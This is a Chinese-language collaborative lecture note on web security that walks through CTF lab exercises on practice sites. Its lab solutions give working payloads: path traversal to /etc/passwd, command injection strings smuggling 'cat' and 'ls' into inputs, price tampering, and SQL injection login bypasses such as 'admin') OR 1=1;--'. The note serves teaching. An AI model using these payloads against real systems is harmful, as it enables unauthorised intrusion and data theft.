--- tags: 資安演講,web安全 --- # 4/22 web安全 [TOC] * 網路原理 * 網頁弱點 * 尋找漏洞 :::info ❤歡迎各位參與共筆的製作❤ [Discord討論區](https://discord.com/invite/QcHWtZ3z) [回饋問卷](https://forms.gle/cZBrJ4givtAZprtU9) ::: --- ## 網路原理 Q:怎麼開網頁? | 瀏覽器 | 特色 | | ---------- | -------------------- | | Firefox | 隱私保護 | | Edge | 速度快 | | chrome | 很多套件,記憶體怪獸 | | Opera | 內建VPN | | Brave | ad block | | Vivaldi | 自訂義功能強 | | DuckDuckDo | 隱私保護 | ![](https://i.imgur.com/9z0y1Zx.jpg) ![](https://i.imgur.com/Z7VVrGn.jpg) * 靜態網頁(只有前端): [CSS](https://www.w3schools.com/css/default.asp)(網頁外觀)、[JS](https://www.w3schools.com/js/DEFAULT.asp)(網頁動作)、[HTML](https://www.w3schools.com/html/)(網頁骨架) * 動態網頁(前端+後端): 後端邏輯(前端看不到的邏輯)、資料庫連接 * **前端:** HTML: 前端網頁內容 css讚讚網頁:[bootstrap](https://getbootstrap.com/) Javascript 讓web動起來 web動作交互 * **後端:** 後端的程式語言:PHP、Python(django、flask)、Typescript 結構化查詢語言:SQL(資料庫管理系統DBM) 結構:資料庫>資料表>資料欄 ### DVWA | LAB https://ais3-club.kiwissec.com/ > 記得先關閉上午的AttackBox ![](https://i.imgur.com/wlmu3LO.png) 點進去後去兌換輸入兌換碼 ![](https://i.imgur.com/FQoX8Kx.png) ![](https://i.imgur.com/tng3YAL.png) #### lab0 網址: https://jupiter.challenges.picoctf.org/problem/9670/ 使用f12可以看到傳輸封包(in Network),記得按f5刷新 點擊js和css檔,開preview可以看見藏flag ![](https://i.imgur.com/o55eNEU.png) Html則是開Elements可以閱覽 可以使用hook的概念改前端網頁,但也就只有自己可以看得到,把原本的CSS變成自己想要的形式 </br> ## 網頁弱點 接下來會提到的內容 * Information Leak * Business Logic Vulnerabilites * Broken Access Control * Command Injection * SQL Injection ### .git 儲存git版本控制系統的目錄 包含一個DB,用於儲存專案和相關資料 黑箱: 看不到內容 白箱: 可以利用靜態分析,找出BUG,比較危險,弱點會被別人看到 - `.git` dir 可以透過.git 來找出 source code,.git不能洩漏,不然很容易被人靜態分析,然後就會被打了 #### .git洩漏 git leak 可以找 API key,source code, 內嵌 account password #### lab1 http://h4ck3r.quest:9000 http://h4ck3r.quest:9000/.git/config ![](https://i.imgur.com/kHK5Quf.png) ![](https://i.imgur.com/0dPO9SF.png) ![](https://i.imgur.com/V5yzIcj.png) ctrl+h顯示gui介面的隱藏檔案 > .git為隱藏檔案 使用ctrl+h後就會出現嘞 ![](https://i.imgur.com/clZH1CM.png) 使用下面指令還原.git檔案 在這個位置: /home/kiwis/Downloads/h4ck3r_quest_9000/h4ck3r_quest_9000 ```shell git reset --hard a0228bd^ # 目前的全部丟掉,強制還原成上一個commit ``` 取得flag ``` cat flag.php ``` 補充:可以使用下列指令 - `git log --stat` - 相對於 git log,可以看到該 commit 修改了哪些檔案) ![](https://i.imgur.com/OaPv0Fb.png) - `git log --all` - 把會關聯到的東西都顯示 - `git reset --hard HEAD^` - HEAD 為目前版本,而 HEAD^ 為跳到上一個版本 - HEAD^數字,代表跳幾個版本,例如 HEAD^2 - `git diff HEAD <commit 的 id>` - 比較當前版本跟想看的 commit 之間的差異 ### lab2 http://h4ck3r.quest:8202/ 1. git 回溯 3. 發現隱藏網站 http://h4ck3r.quest:8202/dev_test_page/index.php > ## 尋找漏洞 傳送字串最可能有漏洞 ### 權限控制失效 簡單來說就是提權 http://saturn.picoctf.net:55287/ 檔案閱讀器,輸入檔案內容,會cat出檔案內容 `../../../../../flag.txt` ![](https://i.imgur.com/VJGWKs7.png) `../../../../../etc/passwd` 路徑遍歷,遍歷目錄,可能見不該看的 #### Lab3 http://h4ck3r.quest:8100 :::spoiler lab3解答 step1 觀察商品項目網址(推斷出FLAG在5430) ![](https://i.imgur.com/zGCroDx.png) ![](https://i.imgur.com/M9SmX7b.png) 成功進來購買頁面 ![](https://i.imgur.com/ofcoYxA.png) step2 觀察並更改value ![](https://i.imgur.com/63t3gYH.png) step3 點擊購買 發現購買成功買下貴鬆鬆的flag嘞\OWO/ ![](https://i.imgur.com/VJim4AK.png) ::: ### Injection #### Lab4 https://caas.mars.picoctf.net/ ^__^ (oo)\_______ (__)\ )\/\ ||----w | || || :::spoiler Lab4解答參考 輸入:https://caas.mars.picoctf.net/cowsay/meow;%20cat%20falg.txt ``` ______ < meow > ------ \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || || picoCTF{moooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0o} ``` ::: 補充: - https://zeroday.hitcon.org/ - https://ctf.hackme.quest/ - https://picoctf.org/ - https://www.hacksplaining.com/ #### Lab5 http://h4ck3r.quest:8300/ :::spoiler Lab5解答參考 ``` 8.8.8.8';ls ../../../../;ping'8.8.8.8 ``` ![](https://i.imgur.com/1LosEgo.png) ::: \ **lab5-2(進階題加碼)** http://h4ck3r.quest:8301/ ### SQL INJECTION ![](https://i.imgur.com/dwHicbA.jpg) 補充: - https://www.hacksplaining.com/ #### Lab6 http://h4ck3r.quest:8200/ :::spoiler lab6解答 PS 密碼隨便填!!! `admin') OR 1=1;--` ::: 進階題 http://h4ck3r.quest:8201/ #### Lab7 網址: https://jupiter.challenges.picoctf.org/problem/52849/login.html :::spoiler Lab7-1 `admin'--` ::: 網址: https://jupiter.challenges.picoctf.org/problem/29132/login.html :::spoiler Lab7-2 hidden 的debug0改為1 rot13 `'BE 1=1 --` :::